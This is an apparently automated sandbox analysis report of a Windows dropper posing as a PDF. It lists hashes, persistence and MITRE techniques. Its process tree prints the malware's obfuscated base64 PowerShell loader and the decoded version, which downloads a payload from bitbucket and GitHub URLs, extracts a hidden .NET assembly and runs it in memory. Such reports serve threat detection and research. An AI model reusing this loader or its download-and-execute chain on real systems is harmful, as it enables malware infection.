1dd25d87c7d8bb002831ed549eb0f077bc1f22e4a61f6d383d17badf92a9e37b

Analysis

max time kernel
119s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
16/10/2024, 17:39

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

Рабочий обьект.pdf.exe
Size

156KB
MD5

d0fe6894bc2a79ff92e81047d9eef20e
SHA1

62128c6b15c198f93bb11af238a3be35302b066e
SHA256

1dd25d87c7d8bb002831ed549eb0f077bc1f22e4a61f6d383d17badf92a9e37b
SHA512

271177b2188e014052baade253bd1d7141da51a66ad4d2ae1dfb60edf30ffdd813a26b0fe9c627a3500497006ed366ef64f979ce1eab7c2fb9d08ccdbed71c28
SSDEEP

3072:IXK9qKo9bH1ruuXKpgKVObD+HQGJ4peVGHPJn8ugJDjsUQUach7tyur1nPt:IXFKo5cpgDD+lWpxHP5ZgJj6chh

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Blocklisted process makes network request 4 IoCs

flow	pid	Process
5	2748	powershell.exe
6	2748	powershell.exe
8	2748	powershell.exe
9	2748	powershell.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Jeny.lnk	Рабочий обьект.pdf.exe

Executes dropped EXE 1 IoCs

pid	Process
2024	Jeny.exe

Loads dropped DLL 2 IoCs

pid	Process
840	Рабочий обьект.pdf.exe
840	Рабочий обьект.pdf.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	Jeny.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2880	powershell.exe
2748	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs

Web Service

T1102

flow	ioc
6	raw.githubusercontent.com
7	bitbucket.org
8	bitbucket.org
9	bitbucket.org
4	raw.githubusercontent.com
5	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Рабочий обьект.pdf.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2880	powershell.exe
2748	powershell.exe

Suspicious use of AdjustPrivilegeToken 42 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	2532	WMIC.exe
Token: SeSecurityPrivilege	2532	WMIC.exe
Token: SeTakeOwnershipPrivilege	2532	WMIC.exe
Token: SeLoadDriverPrivilege	2532	WMIC.exe
Token: SeSystemProfilePrivilege	2532	WMIC.exe
Token: SeSystemtimePrivilege	2532	WMIC.exe
Token: SeProfSingleProcessPrivilege	2532	WMIC.exe
Token: SeIncBasePriorityPrivilege	2532	WMIC.exe
Token: SeCreatePagefilePrivilege	2532	WMIC.exe
Token: SeBackupPrivilege	2532	WMIC.exe
Token: SeRestorePrivilege	2532	WMIC.exe
Token: SeShutdownPrivilege	2532	WMIC.exe
Token: SeDebugPrivilege	2532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2532	WMIC.exe
Token: SeRemoteShutdownPrivilege	2532	WMIC.exe
Token: SeUndockPrivilege	2532	WMIC.exe
Token: SeManageVolumePrivilege	2532	WMIC.exe
Token: 33	2532	WMIC.exe
Token: 34	2532	WMIC.exe
Token: 35	2532	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2532	WMIC.exe
Token: SeSecurityPrivilege	2532	WMIC.exe
Token: SeTakeOwnershipPrivilege	2532	WMIC.exe
Token: SeLoadDriverPrivilege	2532	WMIC.exe
Token: SeSystemProfilePrivilege	2532	WMIC.exe
Token: SeSystemtimePrivilege	2532	WMIC.exe
Token: SeProfSingleProcessPrivilege	2532	WMIC.exe
Token: SeIncBasePriorityPrivilege	2532	WMIC.exe
Token: SeCreatePagefilePrivilege	2532	WMIC.exe
Token: SeBackupPrivilege	2532	WMIC.exe
Token: SeRestorePrivilege	2532	WMIC.exe
Token: SeShutdownPrivilege	2532	WMIC.exe
Token: SeDebugPrivilege	2532	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2532	WMIC.exe
Token: SeRemoteShutdownPrivilege	2532	WMIC.exe
Token: SeUndockPrivilege	2532	WMIC.exe
Token: SeManageVolumePrivilege	2532	WMIC.exe
Token: 33	2532	WMIC.exe
Token: 34	2532	WMIC.exe
Token: 35	2532	WMIC.exe
Token: SeDebugPrivilege	2880	powershell.exe
Token: SeDebugPrivilege	2748	powershell.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 840 wrote to memory of 2024	840	Рабочий обьект.pdf.exe	30
PID 840 wrote to memory of 2024	840	Рабочий обьект.pdf.exe	30
PID 840 wrote to memory of 2024	840	Рабочий обьект.pdf.exe	30
PID 840 wrote to memory of 2024	840	Рабочий обьект.pdf.exe	30
PID 2024 wrote to memory of 680	2024	Jeny.exe	31
PID 2024 wrote to memory of 680	2024	Jeny.exe	31
PID 2024 wrote to memory of 680	2024	Jeny.exe	31
PID 680 wrote to memory of 2532	680	cmd.exe	33
PID 680 wrote to memory of 2532	680	cmd.exe	33
PID 680 wrote to memory of 2532	680	cmd.exe	33
PID 680 wrote to memory of 2500	680	cmd.exe	34
PID 680 wrote to memory of 2500	680	cmd.exe	34
PID 680 wrote to memory of 2500	680	cmd.exe	34
PID 680 wrote to memory of 2880	680	cmd.exe	37
PID 680 wrote to memory of 2880	680	cmd.exe	37
PID 680 wrote to memory of 2880	680	cmd.exe	37
PID 2880 wrote to memory of 2748	2880	powershell.exe	38
PID 2880 wrote to memory of 2748	2880	powershell.exe	38
PID 2880 wrote to memory of 2748	2880	powershell.exe	38

C:\Users\Admin\AppData\Local\Temp\Рабочий обьект.pdf.exe
"C:\Users\Admin\AppData\Local\Temp\Рабочий обьект.pdf.exe"
1⤵
- Drops startup file
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:840
- C:\Users\Admin\AppData\Roaming\Jeny.exe
  C:\Users\Admin\AppData\Roaming\Jeny.exe
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:2024
- - C:\Windows\system32\cmd.exe
    cmd /c serv.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:680
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic cpu get name
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2532
  - - C:\Windows\system32\find.exe
      find "QEMU"
      4⤵
      PID:2500
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gc#Z#Bm#GY#ZgBm#GY#ZgBm#GY#LwBk#GQ#Z#Bk#GQ#LwBk#G8#dwBu#Gw#bwBh#GQ#cw#v#Gk#bQBn#F8#d#Bl#HM#d##u#Go#c#Bn#D8#MQ#x#Dg#MQ#x#Dc#Mw#1#Cc#L##g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HI#YQB3#C4#ZwBp#HQ#a#B1#GI#dQBz#GU#cgBj#G8#bgB0#GU#bgB0#C4#YwBv#G0#LwBz#GE#bgB0#G8#bQBh#Gw#bw#v#GE#dQBk#Gk#d##v#G0#YQBp#G4#LwBp#G0#ZwBf#HQ#ZQBz#HQ#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Cw#I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#KQ#7#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#KQ#7#C##J#B0#Hk#c#Bl#C##PQ#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C4#RwBl#HQ#V#B5#H##ZQ#o#Cc#d#Bl#HM#d#Bw#G8#dwBl#HI#cwBo#GU#b#Bs#C4#S#Bv#G0#ZQ#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bt#GU#d#Bo#G8#Z##g#D0#I##k#HQ#eQBw#GU#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#b#Bh#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##K##n#HQ#e#B0#C4#UwBG#GQ#YQBB#EE#a##v#HM#Z#Bh#G8#b#Bu#Hc#bwBk#C8#Z#By#GU#Lw#0#DQ#MwBk#GY#cg#v#Gc#cgBv#C4#d#Bl#Gs#YwB1#GI#d#Bp#GI#Lw#v#Do#cwBw#HQ#d#Bo#Cc#L##g#Cc#M##n#Cw#I##n#FM#d#Bh#HI#d#B1#H##TgBh#G0#ZQ#n#Cw#I##n#FI#ZQBn#EE#cwBt#Cc#L##g#Cc#M##n#Ck#KQB9#H0#';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe $OWjuxD"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2880
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/gdffffffff/ddddd/downloads/img_test.jpg?11811735', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.SFdaAAh/sdaolnwod/dre/443dfr/gro.tekcubtib//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\serv.bat

Filesize
13KB

MD5
481e59b906309ee85321bdbc3381da65

SHA1
7ea909c283562f8c8a8c14ec27bcd6f81ba272fc

SHA256
3232c61baa83423f50c5850713b1ee87ce197eed3ff3e3a1502b75866e4a0a6b

SHA512
415e41ac186fd443703636140a0a38259d368a166b6f5092bf4b1b107d039dc6e812580994d474d4e6ee3d423f28f9895252cfa1346a8f7b2bccdb23c3bdc05d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SWJEVJOIIWSIDV65VUY7.temp

Filesize
7KB

MD5
b6a2608b20bca384bcc2298670277868

SHA1
5b8a3410a1bbac7dc363f53a301c5b6f7f3f5aff

SHA256
1312c5d335ce8122360b36344d268c7ddcd98e26da74e75437b793e0cbcac7b4

SHA512
dd332f3101f663cd5d059b9dac4e48392a88402bc3f66a45b43172691bfa7935f8184e129ca8581de40e67e19b46c93ccfbc8450b90600b4dd10f57b4fdb2f1e

Download Submit
\Users\Admin\AppData\Roaming\Jeny.exe

Filesize
176KB

MD5
713593357178076d7aa7ddb4fab30bc9

SHA1
99c91cd8248dd178245d2153d8560f2bdd7a40f0

SHA256
ccf4db73bd2e8a612b25c05869159d3375b1230e27194175d6e5e6f576fb7d33

SHA512
349326240446ebff9a2ed89c1bafc14eb4018b875aa16184c2ed1f0f381b048d53d18f890549ddc6fbfc2fbf34b3f72f44dbe085e46a0b00e3734ec725f078f9

Download Submit
memory/2880-15-0x000000001B840000-0x000000001BB22000-memory.dmp

Filesize
2.9MB

Download
memory/2880-16-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download